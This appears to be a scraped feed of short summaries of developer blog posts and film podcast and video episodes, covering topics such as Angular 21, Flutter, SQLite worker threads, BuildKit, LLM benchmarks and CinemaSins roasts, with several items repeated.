Everyone's talking about SIMA 2, DeepMind's Gemini-powered game agent, but the real opportunity is how it will change testing, training, and UX. Game AI is no longer a party trick. It is a universal agent that follows goals across worlds. That shifts how you build, test, and launch products. SIMA 2 understands goals, explains plans, and learns by exploring thousands of complex 3D worlds. It follows voice or even emoji commands, then tells you what it will do next. The truth is simple. Goal-following agents will become the new UI for complex work. ⚡ SIMA 2 nearly doubles task success versus its earlier version. That improvement actually unlocks practical pilots beyond games. Example. Ask it to gather resources in a new scene, and it explains the plan, executes steps, and adapts when the map changes. Now imagine the same pattern for QA, training sims, or ops runbooks. ↓ Pilot framework you can run in 14 days. • Pick one high-friction workflow in a safe sandbox. • Define a clear goal, guardrails, and a success metric. • Feed 20 to 50 examples and set a prompt plus feedback loop. ↳ Log plans, failures, and fixes to improve it daily. • Measure cycle time, error rate, and human handoffs. → If it beats baseline by 20 percent or more, expand to a second workflow. You will cut rework, learn faster, and ship with more confidence. Early movers will quietly build an advantage that compounds. What would you test first with a goal-following agent like this?  ( 6 min )

Weird Science gets the Rewatchables treatment as Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 cult classic starring Anthony Michael Hall, Kelly LeBrock, and Ilan Mitchell-Smith. Expect all the sex, drugs, rock ’n’ roll, chips, dips, chains and whips that made this flick legendary. They dissect favorite scenes, revel in ’80s nostalgia, and dish out hilarious commentary on the film’s quirks, making this episode a must-listen for fans of cheesy special effects and Hughes’s brand of teen comedy. Watch on YouTube  ( 6 min )

Sean Fennessey and Amanda Dobbins slot Inglourious Basterds at No. 4 in their 21st-century movie countdown, arguing it’s Quentin Tarantino’s definitive triumph—outshining Once Upon a Time in Hollywood with its bold rewrite of WWII history and, of course, Christoph Waltz’s scene-stealing, Oscar-winning turn. They dig into the film’s lasting legacy—how its blend of tension, dark humor and revisionist fantasy rewrote the rules of blockbuster storytelling and still feels electrifying almost two decades later. Watch on YouTube  ( 6 min )

Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is back on the yellow brick road—just in time for Wicked’s theatrical return—to tear down the 1978 musical with polemic precision, nitpicking every plot hole, off-key moment, and questionable dance number in trademark snarky style. Want more sinful content? Cruise over to cinemasins.com or their linktr.ee, fill out the “sinful” poll, and back the crew on Patreon. You can also stalk Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel across Twitter, Discord, Reddit, Instagram, and TikTok for extra cinema shade. Watch on YouTube  ( 6 min )

CinemaSins just dropped a new “Everything Wrong With KPop Demon Hunters in 16 Minutes or Less” video, roasting every supernatural slip-up in the film. They’re your one-stop sin shop—hit up their site or linktr.ee for the freshest updates, fill out their sinful poll, and if you wanna keep the jokes coming, back them on Patreon. This episode was cooked up by Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel, and you can hang with the ever-loving sin community on Discord, Reddit, Instagram and TikTok (plus grab Jeremy’s book for more cinema carnage). Watch on YouTube  ( 6 min )

By Zhi Shao, From the Alibaba Cloud SLS Team Introduction As large language model (LLM) applications develop rapidly, we often focus on model fine-tuning and feature implementation. However, we tend to overlook a critical question: How do you effectively monitor, diagnose, and optimize live LLM applications? This article shares our engineering practices from building the SLS SQL Copilot. It shows how to build a complete data infrastructure for LLM applications using SLS. Background: Observability Challenges in LLM Application Development 1.1 The Rise and Limitations of the Dify Platform Dify is a popular platform for developing LLM applications. Its visual workflow design and rich widget ecosystem make development much easier. Our team chose Dify to build our SQL Copilot application. The …  ( 18 min )

1) Describe the Python Selenium Architecture in Detail Python Selenium follows a client–server architecture designed to automate web browsers efficiently. The main components work together in a sequence to execute browser actions. Selenium Client (Python Bindings) The Selenium Python library is where automation scripts are written. WebDriver Protocol The WebDriver protocol (JSON Wire Protocol / W3C WebDriver) acts as a communicator between Python code and the browser driver. Browser Drivers Each browser has its own driver responsible for executing commands inside the browser. Examples include chromedriver, geckodriver, msedgedriver, and safaridriver. Functions of browser drivers: Receive Selenium commands Convert commands into browser actions Send results back to Selenium Browser The actua…  ( 7 min )

It’s finally time to spill the beans on this secret money making tactic. Sharing is caring… Right? ⸻ There is a strange quiet in the world right now. A quiet that only shows up before a storm. The storm in question is not weather and it is not social commentary. It is a shift in how people work and how money moves. Most people cannot see it because they are too busy with the endless scroll. Their attention is trapped in the hypnosis loop of short form entertainment. Their imagination is melted to the shape of whatever the algorithm feeds next. You are not here for that. You are here because you suspect something. You feel that AI is not another trend. You sense that it is the infrastructure for an entirely new class of income streams. You suspect that the people who learn how to shape it …  ( 12 min )

Angular 21 landed on November 20, 2025, delivering major upgrades that improve performance, DX (developer experience), AI integration, and accessibility for web developers. Features Overview Performance Boosts AI-Driven Developer Tools Signal Forms Accessibility Build Optimizations Upgrade Tips 🎬 YouTube Series: Angular 21 Conclusion HttpClient Default: Instantly available in every project, reducing setup time. Zoneless Change Detection: Eliminates dependency on Zone.js for rapid updates. Signal Forms: Reactive, type-safe forms API replacing older RxJS-based methods. NgStyle Control Flow: Use @if, @for, and @switch inside templates for more dynamic UI. AI-Powered MCP Server: Smart migration guides, code suggestions, and best practice enforcement embedded into your workflow. Improved ARIA …  ( 7 min )

Flutter has long been a favorite for cross-platform development, but early versions faced a persistent enemy: shader compilation jank. This stuttering effect, often visible during the first run of an animation, frustrated developers and users alike. By 2026, the Impeller rendering engine has largely solved this issue, replacing the Skia engine with a solution built specifically for Flutter’s needs. This new engine delivers silky-smooth visuals by precompiling shaders, ensuring predictable performance on modern devices. Impeller is the dedicated rendering engine designed to replace Skia in Flutter applications. Unlike Skia, which was a general-purpose 2D graphics library, the Flutter team built Impeller from the ground up to leverage modern hardware APIs. It utilizes Metal on iOS and Vulkan…  ( 12 min )

I've always loved static site generators. But every time I wanted to spin up a small, focused site, I kept hitting the same problems: Boilerplates full of stuff I didn't ask for Too many external dependencies Complex setups just to publish a few pages or blog posts So I ended up building my own starter – and that's how Quesby was born. (Pronounced /ˈkiːz.bi/, like "keys-bee".) Quesby is the boilerplate that powers my own site at quesby.dev, and now it's open for you to use too. Quesby is a modern Eleventy boilerplate with a privacy-first mindset, Decap CMS integration, and a tiny core you can actually understand. It's a clean starting point for content-driven sites where you still stay in control. You might like Quesby if you: Enjoy Eleventy but don't want to wire everything from sc…  ( 7 min )

*Memo: My post explains type hints (1). The value None should be used as a type within a type hint because the type NoneType gets error as shown below: v: None # No error from types import NoneType v: NoneType # error: NoneType should not be used as a type, please use None instead The function which only returns None gets the error if defining and calling the function, and printing the return value as shown below: *Memo: The error can be disabled using --disable-error-code with func-returns-value: mypy --strict --disable-error-code func-returns-value test.py. mypy --disable-error-code func-returns-value test.py. Only defining and calling the function doesn't get the error. Only defining the function doesn't get the error. I reported the strange behaviour as the issue. def func()…  ( 8 min )

👋👋👋👋 Looking back on your week -- what was something you're proud of? All wins count -- big or small 🎉 Examples of 'wins' include: Getting a promotion! Starting a new project Fixing a tricky bug Finally replacing that dying houseplant you've been ignoring 🪴 Happy Friday!  ( 6 min )

For rapid building and deployment in extreme AQI conditions (999+ PM2.5), I aim to provide you a tested, cost-effective air purifier design structure achievable in 1–2 weeks if built with consistency, using repurposed materials and minimal investment. I will be sharing my condition and output results with this purifier unit, in the end.  ( 6 min )

Two weeks ago, I launched an ai tattoo generator called TattooRed. Today, I have 200 pages generated and 15 indexed by Google. But here's the interesting part: users generate the content, GPT-4o Vision enriches it, and Next.js 15 serves it—automatically. The architecture is designed to scale from 0 to 100K+ pages at $0.006 per page. Here's exactly how it works—including the disasters I didn't anticipate. I started building an ai tattoo generator. The obvious keyword was "ai tattoo generator" (22K monthly searches). But then I discovered "tattoo ideas" gets 135K monthly searches with similar difficulty (56% vs 50%). The opportunity was massive. But here's the challenge: How do you create 10,000+ unique, SEO-optimized pages for long-tail keywords like: "minimalist lion tattoo ideas" "waterco…  ( 12 min )

In a world overflowing with responsibilities, emotional burdens, and the constant pressure to “do more,” many people find themselves disconnected from a deeper source of fulfillment: genuine inner joy. Joy Potential emerges as a guiding light in this landscape, offering a sanctuary for individuals seeking to reconnect with their purpose, rekindle their inner spark, and rediscover a sense of aliveness that transcends daily stress. Rather than focusing on fleeting happiness, Joy Potential represents a movement centered on unconditional, embodied joy—joy that emerges from healing, self-awareness, and transformation. At its core, Joy Potential provides programs, experiences, coaching, and transformational methodologies designed to help people heal emotional wounds, rewire limiting beliefs, and…  ( 10 min )

Let's implement a custom hook that mimics the behavior of React's useState without using useState internally. This will involve using React's underlying mechanisms, specifically leveraging a simple state management approach with a closure or a global store to maintain state across renders. Here's a basic implementation of a custom useState-like hook: import React from 'react'; // A simple array to store state values for different components/hooks const stateStore = []; let currentIndex = 0; // Reset index for each render (this would typically be handled by React's fiber tree) function resetIndex() { currentIndex = 0; } // Custom hook to mimic useState function useCustomState(initialValue) { // Capture the current index for this hook call const index = currentIndex; currentIndex+…  ( 7 min )

👥 Who Is It For? Home users who want to monitor indoor air quality. Outdoor enthusiasts who care about pollution levels before stepping out. Researchers & developers experimenting with IoT sensors and environmental data. Health-conscious individuals who want personalized insights into air quality and wellness. If you have an IoT air-quality se``nsor, this app is your gateway to real-time monitoring, analytics, and AI-powered predictions. 💡 What Does It Do? PM2.5 & PM10 levels Temperature & humidity Air Quality Index (AQI) in real time It also provides: 📊 Interactive graphs to track trends 🤖 AI predictions for the next 4 hours 🩺 Health tips based on AQI levels 🌦️ Weather + AQI forecasts for smarter planning 🔌 How to Connect Your Sensor Login securely with your Firebase account. Connect ThingSpeak: Enter your Channel ID Enter your Write API Key Once connected, your sensor data flows directly into the app dashboard. Explore real-time readings, analytics, and AI-powered forecasts. 🚀 Why It Matters ✨ Ready to breathe smarter? Connect your sensor today and let AI AIR APP guide you toward healthier living.  ( 6 min )

Improving AI Email Classification Accuracy Through Prompt Engineering Overview We resolved email misclassification issues in our email classification system, where project emails (PROJECT) and talent emails (TALENT) were being incorrectly categorized. This article describes how we improved the problem of personnel emails containing "project desired" being misclassified as projects, using Few-shot learning and clearer judgment criteria. OpenAI GPT-4 Turbo (gpt-4-1106-preview) Claude 3 Opus (for comparison testing) TypeScript (v5.x) Prompt Engineering Few-shot Learning Natural Language Processing Our email classification AI was making incorrect judgments in cases like these: Misclassification Case 1: Personnel information classified as PROJECT Subject: [Personnel Information] In…  ( 16 min )

We're living in a surreal time. If you’re not using AI (GitHub Copilot, Gemini, ChatGPT) to write at least some of your boilerplate, you're already behind. But relying on a model, no matter how powerful, has revealed new, brutal truths about development. Here are five "secrets" I learned the hard way—lessons that define the difference between a great engineer and a great prompt engineer. 🛑 Secret #1: The Error Message Is The Real Product. AI is fantastic at generating code that looks right. But the moment that code breaks, the true test of engineering quality begins. The AI Problem: Generative models prioritize smooth, functional-looking code. They don't prioritize debuggability. Their generated errors are often generic, context-free, and lead you on wild goose chases. The Hard-Won Secret…  ( 8 min )

Hey, Dev.to community. Let's talk about the elephant in the data center: Generative AI is eating its own tail. You've heard of hallucinations, but that’s a feature, not a bug. The truly existential crisis facing the AI industry is Model Collapse, a concept so terrifying it threatens to degrade the intelligence of every future model. What is Model Collapse? (The AI Death Loop) This is what happens when new, powerful Large Language Models (LLMs) are trained on datasets that are increasingly polluted with content generated by previous LLMs. The Internet is now Synthetic: As AI-generated content floods the web (articles, code, images), the very data sources models rely on for training are getting "flatter" and less diverse. The Tails Vanish: Models trained on synthetic data lose sight of the "long-tail" of information—the rare edge cases, the unique opinions, the subtle details that make human data rich. The Convergence: The models begin to only produce outputs that resemble their own generic, average output, leading to repetitive, bland, and ultimately unoriginal content. 🤯 The Developer's Dilemma: The Research Problem: Future AI-powered research tools will increasingly provide only the "most-cited" or "most average" answers, causing genuine human knowledge to fade. This isn't theory. Researchers are seeing it now. We are training the next generation of genius on the mediocrity of the last one. Your Turn: Do you believe the industry can solve this data scarcity crisis, or are we witnessing the beginning of the great AI intellectual decay? Let me know!  ( 7 min )

Life is short, be proud of your work. AWS is probably the right choice because of it's 5 9s of availability on its core services. I've been on the other side and I trust that when something goes wrong, someone is aware and actively working to fix it before I even knew about it. ...Also, I want to support a diverse cloud market so instead of making the right choice, I'd probably go with startups like fly.io, tigris, clerk, and lemonsqueezy... not that I've thought about this or anything. SQL makes modeling a small domain easier, but wow does it cause problems. I remember being at a company where engineers had to plan to wake up at midnight to upgrade various dbs to meet quarterly objectives. I don't want to ever have to wake up to upgrade a db. At another company, all we did was debug index…  ( 8 min )

Missing data is one of the biggest headaches for any analyst or data scientist. It silently breaks models, distorts patterns, destroys statistical power, and—if ignored—creates misleading insights. Analysts dread encountering missing values, but smart analysts know how to impute them effectively instead of simply dropping rows and shrinking their dataset. What Are Missing Values and Why Do They Matter? The Three Types of Missing Values (MCAR, MAR, NMAR) 2.1 MCAR: Missing Completely At Random (Rarest Case) 2.2 MAR: Missing At Random (Most Common in Business Data) 2.3 NMAR: Not Missing At Random (High-Risk Category) When Is It Safe to Ignore Missing Values? Common Imputation Strategies 4.1 Mean / Median Imputation (Numeric Data) 4.2 Moving Window or Rolling Means (Time-Series) 4.3 …  ( 9 min )

‘Weird Science’ Rewatchables with Bill Simmons and Kyle Brandt Bill Simmons and Kyle Brandt dive deep into John Hughes’s 1985 cult classic Weird Science—complete with sex, drugs, rock ’n’ roll, chips, dips, chains and whips—to unpack what makes Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith’s geek-meets-fantasy romp still worth a spin. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, this Ringer Movies episode is all about celebrating the highs, lows and weirdest moments of one of Hughes’s most off-beat teen comedies. Watch on YouTube  ( 6 min )

Sean Fennessey and Amanda Dobbins dive into Quentin Tarantino’s “Inglourious Basterds,” ranked No. 4 on their 25 Best Movies of the Century list. They argue it’s the ultimate Tarantino pick over “Once Upon a Time in Hollywood,” gush over Christoph Waltz’s scene-stealing turn, and unpack the film’s audacious, revisionist take on WWII. From its signature mix of dark humor and nail-biting tension to its bold stylistic flourishes, they explore how “Inglourious Basterds” redefined the war movie and cemented its status as one of the most electrifying cinematic experiences of the 21st century. Watch on YouTube  ( 6 min )

Wicked: For Good gets a major side-eye from Sean, Amanda and Juliet Litman after they kick off the podcast by breaking down trailers for Charli XCX’s The Moment and The Hunger Games: Sunrise on the Reaping. The group finds John M. Chu’s big-budget musical a real head-scratcher—odd plot moves, flat characters—and they speculate on its box office haul, how this press tour stacks up against last year’s, and whether it’ll snag any Oscar buzz. Next up, they chat about Clint Bentley’s Train Dreams, praising its honest grief story, gorgeous digital cinematography, and stellar supporting cast. Then Bentley hops on to explain why he once thought the novella was unfilmable, how he meticulously crafted his logging sequences, and what’s on his mind about today’s indie-film landscape. Watch on YouTube  ( 6 min )

Everything Wrong With The Wiz In 15 Minutes Or Less Cinema Sins takes a whirlwind tour down the yellow brick road, poking fun at The Wiz’s plot holes, set quirks, and character hiccups—all in their signature rapid-fire style now that Wicked is back in theaters. Expect snarky takes on the Scarecrow’s one‐note shtick, unexpected costume choices, and any logic gaps they can squeeze into 15 minutes or less. Along the way, they drop links to their website, Discord, Reddit, multiple YouTube channels, and a Patreon for anyone who wants to keep feeding their growing team of sin counters. Don’t forget to fill out their sinful poll and see which writer gets dubbed the ultimate Wiz watchdog! Watch on YouTube  ( 6 min )

Everything Wrong With KPop Demon Hunters is a 16-minute CinemaSins roast that gleefully rips apart the movie’s plot holes, cheesy dialogue and demon-slaying clichés. Along the way they plug their official site, spin-off YouTube channels, Discord, Reddit, and even run a sinful poll—plus invite you to back them on Patreon. Shout-outs roll to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel, and you’ll find links to Jeremy’s book, Instagram, TikTok and more for your next fix of sinning shenanigans. Watch on YouTube  ( 6 min )

Biggest Disney Bombs: The Sorcerer’s Apprentice Disney’s on a bit of a roller-coaster these days—Marvel and Star Wars aren’t exactly smashing box-office records, and newbies like Wish and Elio have barely made a ripple. To remind us it’s not all doom and gloom (or maybe it is?), The Weekly Planet is rolling out a mini-series on four colossal live-action flops. First up is 2010’s The Sorcerer’s Apprentice, starring Nicolas Cage, some half-baked magic and that memorable giant bird. Hosts James and Maso kick things off with their usual banter and deep dives—plus they’ve packed bonus podcasts, video commentaries and more over at bigsandwich.co. Watch on YouTube  ( 6 min )

I recently finished an open-source contribution that I’m actually really proud of. This time, I worked on the typescript-language-server project. I wanted to challenge myself with something more complex than what I normally do, and I came across Issue #956, which asked to support a new tsserver feature called --canUseWatchEvents. The idea behind the feature is that, in huge TypeScript projects, tsserver ends up watching thousands of files on its own, which can slow things down a lot. Newer versions of TypeScript offer a way for the editor to handle file watching instead, and only tell tsserver when something actually changes. VS Code already does this, but other editors that rely on the language server didn’t have this yet. I thought this would be a medium-level contribution, but it turned…  ( 7 min )

Read the original article：How to add polylines to a map, change polyline color, and set polyline texture Problem description How to add a polyline on a map, change its color, and set its texture? Background knowledge 1- Use the addPolyline interface to add a polyline . 2- Use the setColor interface to set the color value of the polyline. 3- Use the customTexture property of MapPolylineOptions to set the polyline texture Solution 1- Use the addPolyline interface to add a polyline . The line is black by default. 2- Use the setColor interface to set the color value of the polyline. 3- Use the customTexture property of MapPolylineOptions to set the polyline texture. This property supports two formats: ResourceStr and image.PixelMap. It is recommended to use an image without a background co…  ( 7 min )

✅ 1.What is an IDP (Internal Developer Platform)? IDP = Internal Developer Platform In simple words: 🧩 2.Why we need IDP? (Real-world pain points) Companies create an IDP because: Before IDP (Pain) Developers continually ask DevOps: “Create my cluster” “Give me a CI pipeline” “Deploy my image” “Fix my YAML” DevOps becomes a helpdesk, overloaded with tickets. Delays cause: Slow releases Frustration Human errors Lack of standards After IDP (Solution) Developers get self-service, no dependency. DevOps burden becomes zero. Everything is standardized: same YAML templates same security same deployment flows Company productivity increases by 3×–10×. 🧭 3.Where to use IDP? IDP is used in every area of software engineering: Developers use IDP to: Create new microservice templates Run CI/CD pipelin…  ( 11 min )

What if Your AI App Could Generate Revenue in Two Ways Simultaneously? The rapid growth of AI applications is exhilarating, but one fundamental challenge persists: monetization. Many developers find themselves on a tightrope, trying to balance user experience with the need for revenue. Enter Monetzly—the first platform that empowers developers to monetize their applications and earn from hosting relevant ads. Imagine a scenario where your AI app doesn't just provide value to users, but also generates income through dual revenue streams. With Monetzly, this is not just a dream; it’s a reality. Monetzly stands out in the AI landscape as the first dual-earning platform. Here’s how it works: Monetize Your App: No need for subscriptions or paywalls. You can keep your app accessible and user-…  ( 7 min )

In the world of microservices and distributed systems, network failures are not a matter of "if", but "when". A single failing service can hang your entire application, consuming resources until it crashes. To prevent this, the Circuit Breaker pattern is essential. But let's be honest: implementing it often leads to messy code, with try/catch blocks wrapping every single API call. Today, I want to show you how to solve this elegantly using surge-kit, a lightweight, zero-dependency library I built for Node.js. With the release of v0.5.0, we can now use TypeScript Decorators to handle resilience declaratively. Usually, protecting a method looks like this: // The "Old Way" async getUser(id: string) { try { // Manual wrapping... repetitive and verbose return await circuitBreaker.fire…  ( 7 min )

Iconify is here. It is OpenSource All in one Modern Ui Icons library. Just Paste this script in html head tag 🔗 Iconify by searching for your desired icon. Then, paste that tag in your body , whereever you wanna use it and Boom 🤯. Use CSS Font-Size to cusomtize the size of the icon and you can also do that by giving width & height to iconify-icon tag. Have you any suggestions or feedback? 🫠 Like & Follow us - If you want these kind of more things...  ( 6 min )

Introduction Learn how to connect HubSpot to SSIS using the ZappySys HubSpot connector to manage and integrate HubSpot data effortlessly. SSIS PowerPack: Download from the Customer Download Area or try the trial version. HubSpot Account: Make sure your HubSpot account is ready. Log in to your HubSpot account and create a Private App. Add a Data Flow Task in SSIS, and configure the HubSpot API Source. Enter your AccessToken in the configuration and test the connection. Preview the data from the HubSpot endpoint and save the configuration. Connecting HubSpot to SSIS via the ZappySys connector simplifies HubSpot data integration into your workflows. 👉 Read the full tutorial here for detailed steps and examples  ( 6 min )

I recently launched Retro Camera—a fun, browser-based tool that lets you capture photos with beautiful, classic vintage styling (date stamps, grain, captions) right from your webcam. But the real magic isn't in the simple HTML/CSS/Canvas—it's in how I used the Gemini 3 API to define and refine the filters' core aesthetic. The Challenge: Defining "Vintage" with Code That's where Gemini 3 stepped in. 🧠 Gemini 3: The Algorithmic Cinematographer I leveraged Gemini 3's advanced reasoning and multimodal understanding to solve this aesthetic problem in two powerful ways: Zero-Shot Aesthetic Definition Instead of spending hours tweaking color matrices, I used Gemini 3's powerful instruction-following to define the filters using natural language. Integrating Gemini 3 wasn't about generating the final filtered image (which the browser can do faster via Canvas/WebGL), but about generating the code and parameters that define the look itself. It turned the tedious task of aesthetic design into a natural language conversation. If you're building a tool that relies on complex, subjective parameter generation, an LLM like Gemini 3 is an essential part of the modern developer's toolkit. 🔗 Try the Retro Camera and see the filters in action: [Integrating Gemini 3 wasn't about generating the final filtered image (which the browser can do faster via Canvas/WebGL), but about generating the code and parameters that define the look itself. It turned the tedious task of aesthetic design into a natural language conversation. If you're building a tool that relies on complex, subjective parameter generation, an LLM like Gemini 3 is an essential part of the modern developer's toolkit. 🔗 Try the Retro Camera and see the filters in action: https://vatsalshah.in/tools/retro-camera  ( 7 min )

In today's data-driven world, managing diverse document types efficiently is a common challenge for developers. Whether it's compiling reports, archiving project files, or streamlining document workflows, the need to consolidate various formats like Word documents, Excel spreadsheets, images, and HTML pages into a single, unified PDF file is ever-present. This process not only simplifies sharing and viewing but also ensures document integrity and consistency. However, manually converting and then merging these files can be tedious and prone to errors. This article addresses this technical pain point by providing a robust and practical solution. We will explore how to programmatically merge multiple file types into one PDF in C# using a powerful and user-friendly library: Spire.PDF for .NET…  ( 9 min )

Introduction If you need to update custom property values for HubSpot Contacts, Deals, or Accounts, here's a step-by-step guide to help you. Navigate to your Contact Properties in HubSpot. Click on Manage Properties and select Create Property. Choose the appropriate field type and options (e.g., dropdown, string, number). You can update custom fields using either HubSpot's API or an ODBC Driver. Example for updating a custom field: UPDATE Contacts Common Issue: Dropdown Property Error If you try to set a dropdown value not in the allowed list, you'll get a validation error. Always ensure the value is part of the predefined options. 👉 Read the full tutorial with examples and screenshots  ( 6 min )

TL;DR: We stress-tested 6 LLMs under realistic context load. Standard LLM benchmarks fail to measure reliability under context stress - the ability to maintain accuracy and avoid hallucination as context windows fill. We developed a stress testing methodology that reveals catastrophic failures in popular models that score well on conventional benchmarks. Key Finding: LiquidAI's LFM2-8B, despite strong benchmark performance, achieved only 0.3% accuracy under context stress with catastrophic degradation patterns. In contrast, Qwen3-30B maintained 96.9% accuracy with graceful degradation across 108,000 tokens. Three stress test scenarios designed to measure real-world failure modes: 1. Stealth Needle Storm 40 secret codes hidden naturally in 128K tokens of mixed content (code, prose, technic…  ( 8 min )

Colab-ready: improved stable pipeline with Optuna + LGB + XGB + stacking 1) ก่อนรัน ให้อัปโหลดไฟล์ผ่าน Colab UI: /content/train.csv, /content/test.csv, /content/sample_submission.csv 2) Copy-paste ทั้งหมดนี้ใน cell เดียวแล้วรัน ------------------------- ติดตั้งไลบรารี (ครั้งแรก) !pip install --quiet lightgbm xgboost scikit-learn pandas numpy matplotlib optuna import warnings import os SEED = 42 TRAIN_PATH = "/content/train (1).csv" for p in [TRAIN_PATH, TEST_PATH, SAMPLE_SUB_PATH]: train = pd.read_csv(TRAIN_PATH) print("train shape:", train.shape) train = train.sort_values('id').reset_index(drop=True) train['price'] = train['price'].astype(float) if 'price' not in test.columns: all_df = pd.concat([train[['id','price']], test[['id','price']]], i…  ( 10 min )

Building mobile-ready web applications often involves a heavy stack. You have React, Angular, or Vue combined with a UI framework, and suddenly your bundle size is massive before you've even written a line of code. Enter Mithril.js. It's a modern client-side JavaScript framework for building Single Page Applications. It's small (< 10kb gzip), fast, and provides routing and XHR utilities out of the box. Combine that with Ionic Framework for native-like UI components and Vite for instant dev server start times, and you have a powerhouse stack for rapid development. But setting this up manually? Configuring Vite to handle Mithril's JSX (or Hyperscript), setting up Ionic's loader, configuring the router... it's a pain. That's why I built create-vitriol. create-vitriol is a scaffolding tool tha…  ( 7 min )

Weird Science Rewatchables Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 teen sci-fi comedy Weird Science—starring Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith—and unpack all the sex, drugs, rock ’n’ roll (and yes, chains, whips, chips and dips) that made it a cult classic. They’re joined by producers Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, plus there’s a cheeky State Farm mention about bundling and saving with the Personal Price Plan®. Don’t forget to subscribe to The Ringer’s channels for more movie deep dives! Watch on YouTube  ( 6 min )

Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is trekking down the yellow brick road to roast The Wiz now that Wicked is back in theaters, serving up their signature snark and “sins” in a quickfire 15-minute breakdown. Think of it as a hilarious, consequence-free trip to Oz—no flying monkeys required. They’ve also dropped a stack of links to keep you hooked: their main site, YouTube channels, social media handles (Twitter, Instagram, TikTok), a sinful poll, Patreon for superfans, plus writer bios if you want to see who’s behind the sass. Watch on YouTube  ( 6 min )

Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins takes on the new KPop Demon Hunters flick with their signature blend of playful nitpicks and rapid-fire “sins,” poking fun at the fight choreography, plot leaps, and surprise cameos—all wrapped up in under 16 minutes of snarky commentary. Hungry for more? Hit up their main site or dive into spin-off YouTube channels (TVSins, CommercialSins), join the CinemaSins Discord/Reddit, check out Jeremy’s book, fill out a quick poll, or toss a coin to the Patreon squad for extra goodies. Watch on YouTube  ( 6 min )

When you run docker build, you might assume your Dockerfile instructions execute one after another, like a traditional script. But behind the scenes, BuildKit is doing something far more sophisticated. At the heart of BuildKit lies a DAG (Directed Acyclic Graph) solver that transforms your Dockerfile into an optimized execution plan, identifying all parallelizable operations while maintaining dependency order. We've previously covered how BuildKit works here, but today we're discussing how BuildKit parallelizes your builds to make them faster and more efficient. BuildKit parses build instructions into something called LLB (Low-Level Build) format, creating a dependency graph of all the operations needed to produce your final image: The DAG solver examines each instruction in your build a…  ( 9 min )

SQLite is known for being lightweight, reliable, and surprisingly fast. In the Node.js ecosystem, one of the most popular libraries for working with it is better-sqlite3. The performance is excellent, but there is one important detail many developers overlook: the library is synchronous. When a heavy query is executed, the Node.js event loop stops until the database finishes its work. For small side projects, this never becomes noticeable. But once you introduce API routes, server-side rendering, analytics, background processing, or any data-heavy task, the synchronous nature starts to show its limits. In this guide, I’ll walk you through a practical way to eliminate those bottlenecks by moving your SQLite queries into worker threads. This approach keeps the simplicity of better-sqlite3 wh…  ( 8 min )

The Pocket Mainframe I shared my desktop AI defense system. Now I'm sharing the mobile unit. This is NEXUS v9, a sovereign network intelligence tool designed to run natively on Android (via Pydroid3 or Termux). Most "AI apps" on your phone are just wrappers sending your data to a cloud API. This is different. This is a complete, self-contained neural network running locally on my device. Running a complex defense system on a phone presents unique challenges: No Root Access: I can't easily access system-level process data. Dependency Hell: Installing numpy or scipy on Android can be tricky. Battery/Resources: Spawning 50 threads kills a battery instantly. To make this work, I had to rewrite the core engine: AsyncIO Network Scanner: Replaced threading with asyncio. It scans hundreds of ports/hosts concurrently without locking up the UI or draining the battery. Pure Python Fallbacks: I wrote a custom NeuralNetwork class that checks for numpy. If it's missing, it seamlessly degrades to a pure Python implementation of the dense layers and activation functions. It trains on-device. Synthetic Baselines: Since I can't always read raw CPU/RAM on non-rooted devices, the system builds its own baseline of "normal" behavior and detects anomalies relative to its own process state. Because "Personal Security" shouldn't require a server rack. I can walk into a network environment, pull out my phone, and have the same level of anomaly detection and analysis as I do at my desk—completely offline. Repo updated with the Android Branch: https://github.com/SovArcNeo  ( 6 min )

Beyond Behavior Trees: Unleashing Smarter Robots with Executable Knowledge Tired of brittle robot behaviors that fall apart when the environment changes? Are you struggling to scale your autonomous systems beyond pre-programmed routines? There's a better way to build truly intelligent robots: move beyond imperative control flows and embrace knowledge-driven autonomy. Instead of explicitly coding every action sequence with behavior trees, imagine describing the robot's understanding of the world and letting it figure out the optimal course of action. That's the power of executable ontologies – dynamic knowledge graphs that empower robots to reason, adapt, and learn on the fly. Think of it like this: behavior trees are like a pre-written script, while an executable ontology is like giving …  ( 7 min )

🚀 TestRail Manager: Automatiza tu Gestión de Pruebas con Python ¿Cansado de gestionar manualmente tus casos de prueba en TestRail? ¿Quieres automatizar el reporte de resultados desde tus tests? TestRail Manager es la solución que necesitas. TestRail Manager es una librería Python completa que te permite interactuar con la API de TestRail de forma simple y eficiente. Con ella puedes: ✅ Crear y gestionar proyectos, suites y casos de prueba ✅ Ejecutar test runs automáticamente ✅ Reportar resultados desde tus frameworks de testing (pytest, unittest, etc.) ✅ Generar métricas y reportes detallados ✅ Integrar TestRail en tu pipeline CI/CD Como QA Engineer, me encontraba constantemente: 📝 Creando casos de prueba manualmente en TestRail 🔄 Actualizando resultados uno por uno después de ca…  ( 10 min )

Traditional Ads Don’t Work in AI Conversations. Here’s What Does. As the AI application landscape explodes, many developers face a common challenge: monetizing their innovations without disrupting the user experience. Enter Monetzly—the first dual-earning platform designed for AI conversations, where developers can monetize their apps while hosting relevant ads. Most advertising models rely on interruptive placements, which can clash with the seamless interactions users expect from AI applications. Imagine you're using a chatbot for customer service, and suddenly, an irrelevant banner ad pops up. It’s jarring and detracts from the experience. Monetzly reimagines this dynamic by introducing conversation-native advertising—ads that are integrated into the conversation itself, providing v…  ( 7 min )

